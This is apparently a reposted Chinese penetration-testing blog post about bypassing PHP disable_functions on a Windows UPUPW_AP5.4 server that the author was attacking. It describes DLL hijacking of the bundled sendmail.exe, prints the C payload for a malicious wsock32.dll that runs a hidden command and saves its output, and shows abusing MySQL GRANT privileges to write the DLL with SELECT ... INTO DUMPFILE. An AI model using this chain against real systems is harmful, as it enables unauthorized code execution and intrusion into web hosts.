最近渗透过程中遇到一个站用了UPUPW_AP5.4来搭建,这个程序是自带了sendmail.exe的,以下是我本地复现的情况:
当时目标站的disable_function是exec,system,passthru,popen,shell_exec ,proc_open,另外目标站做了open_basedir限制,只能访问web目录下面的文件。
在linux下面可以使用pcntl_exec,当然windows下面是没有加载这个扩展的。
Google一番发现COM class加载wscript.shell也可以执行命令,然而一样的没有加载这个扩展。
最后把目标放在这个sendmail.exe上。
大家都知道在linux上可以用mail来bypass disable_fucntion来执行命令,因为linux有LD_PRELOAD这个环境变量可以很方便的注入进程。
那么在windows上呢? 当然也是可以。
但是默认情况下sendmail_path在windows中并没有设置,没有值的话是不行的。
UPUPW很贴心的给了我们一个sendmail.exe
Windows下面没有LD_PRELOAD怎么办呢?
当然是DLL劫持!
我们来看一下sendmail的导入表。
找到一个不在knowndlls里面的dll,就是它了,wsock32.dll!
由于php的mail函数中的参数5是Additional parameters, 也就是说我们可以给sendmail程序加自定义的命令行!那么思路就是写一个dll解析命令行并且执行命令!
Dll劫持的代码可以由一个小工具Aheadlib来生成,不过生成的代码是不能用的,会有一千多个错误,简单替换一下就能用了,加入自定义代码如下
int argc = 0; wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc); wchar_t *cmd = 0; wchar_t *outfile = 0; for (int i = 0; i < argc; i++) { if (!lstrcmp(argv[i], L"-c")) if (i + 1 < argc) { cmd = argv[i + 1]; } if (!lstrcmp(argv[i], L"-o")) if (i + 1 < argc) { outfile = argv[i + 1]; } } if (cmd && outfile) { DWORD tmp = 0; HANDLE h = CreateFile(outfile, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); SECURITY_ATTRIBUTES sa; HANDLE hRead, hWrite; byte buf[40960] = { 0 }; STARTUPINFOW si; PROCESS_INFORMATION pi; DWORD bytesRead; RtlSecureZeroMemory(&si, sizeof(si)); RtlSecureZeroMemory(&pi, sizeof(pi)); RtlSecureZeroMemory(&sa, sizeof(sa)); int br = 0; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { ExitProcess(0); } si.cb = sizeof(STARTUPINFO); GetStartupInfoW(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.lpDesktop = L"WinSta0\\Default"; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { CloseHandle(hWrite); CloseHandle(hRead); ExitProcess(0); } CloseHandle(hWrite); while (1) { if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL)) break; br += bytesRead; } WriteFile(h, buf, br, &tmp, 0); CloseHandle(h); CloseHandle(hRead); CloseHandle(pi.hProcess); ExitProcess(0); }
代码很简单,执行命令,保存文件,直接加入DllMain就行了。
编译之后生成一个dll,需要把这个dll和原本的wsock32.dll放入sendmail的文件夹。
那么问题来了,我们并没有读写sendmail程序文件夹的权限,怎么办呢。
此时我突然发现php连接的mysql的账号虽然不是root,但是有grant权限。。。
于是给自己grant了全部权限之后,我们就可以使用dumpfile的方式写入文件夹了,类似select unhex(‘xxxxxx’) into dumpfile ‘D:\\UPUPW_AP5.4\\sendmail\\wsock32.dll’.
这时候你会问为什么不用udf呢?
因为udf需要写入plugin目录,但是这个目录默认情况下不存在。
你会说可以用$INDEX_ALLOCATION啊,但我在本机测试并不行,远程也不行,创建文件夹本地直接提示Access denied,但是却可以创建文件。另外我本地和远程都是NTFS。
这里需要把自己编译的dll和原版wsock32.dll都写进去。
最后使用如下php代码即可执行命令:
下面是我用的完整源代码:[ wsock32.rar ]
作者:skyer
本文作者为Mr.Wu,转载请注明,尊守博主劳动成果!
由于经常折腾代码,可能会导致个别文章内容显示错位或者别的 BUG 影响阅读; 如发现请在该文章下留言告知于我,thank you !